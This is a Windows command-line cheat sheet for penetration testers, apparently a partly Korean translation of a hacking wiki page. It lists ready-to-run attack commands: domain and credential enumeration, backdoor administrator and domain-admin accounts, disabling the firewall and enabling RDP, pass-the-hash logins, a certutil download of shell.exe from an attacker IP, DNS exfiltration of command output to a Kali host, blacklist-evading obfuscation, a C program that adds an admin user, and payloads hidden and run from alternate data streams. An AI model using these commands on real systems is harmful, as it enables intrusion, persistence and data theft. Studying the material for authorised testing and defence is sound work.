Basic Win CMD for Pentesters

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웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요

실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요. 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.

Penetration testing toolkit, ready to usePentest-Tools.com

시스템 정보

버전 및 패치 정보

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?

환경

set #List all environment variables

Some env variables to highlight:

• COMPUTERNAME: 컴퓨터 이름

• TEMP/TMP: 임시 폴더

• USERNAME: 사용자 이름

• HOMEPATH/USERPROFILE: 홈 디렉토리

• windir: C:\Windows

• OS: 윈도우 OS

• LOGONSERVER: 도메인 컨트롤러 이름

• USERDNSDOMAIN: DNS와 함께 사용할 도메인 이름

• USERDOMAIN: 도메인 이름

nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC

마운트된 디스크

(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername

디펜더

휴지통

dir C:\$Recycle.Bin /s /b

프로세스, 서비스 및 소프트웨어

schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software

도메인 정보

# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

로그 및 이벤트

#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

사용자 및 그룹

사용자

#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe

그룹

#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group

세션 목록

qwinsta
klist sessions

비밀번호 정책

net accounts

자격 증명

cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access

사용자와의 지속성

# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add

네트워크

인터페이스, 라우트, 포트, 호스트 및 DNS 캐시

ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"

방화벽

netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49

공유

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

Wifi

netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass

SNMP

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

네트워크 인터페이스

ipconfig /all

ARP 테이블

arp -A

다운로드

Bitsadmin.exe

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1

CertReq.exe

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

Certutil.exe

certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe

Download를 검색하여 더 많은 정보를 찾으세요 https://lolbas-project.github.io

기타

cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case

문자 블랙리스트 우회

echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami

DOSfuscation

혼란스러운 CMD 라인을 생성합니다.

git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding

Listen address ACLs

관리자 권한 없이 http://+:80/Temporary_Listen_Addresses/에서 수신할 수 있습니다.

netsh http show urlacl

Manual DNS shell

공격자 (Kali)는 다음 두 가지 옵션 중 하나를 사용해야 합니다:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

피해자

for /f tokens 기법: 이를 통해 명령을 실행하고 각 줄의 첫 번째 X 단어를 가져와 DNS를 통해 우리의 서버로 전송할 수 있습니다.

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

출력을 리다이렉트하고, 그 다음 읽을 수 있습니다.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

C 코드에서 CMD 호출하기

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}

Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)

예제는 https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f에서 가져왔습니다! 더 많은 예제가 있습니다!

## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt

웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요

실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요. 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.

Penetration testing toolkit, ready to usePentest-Tools.com

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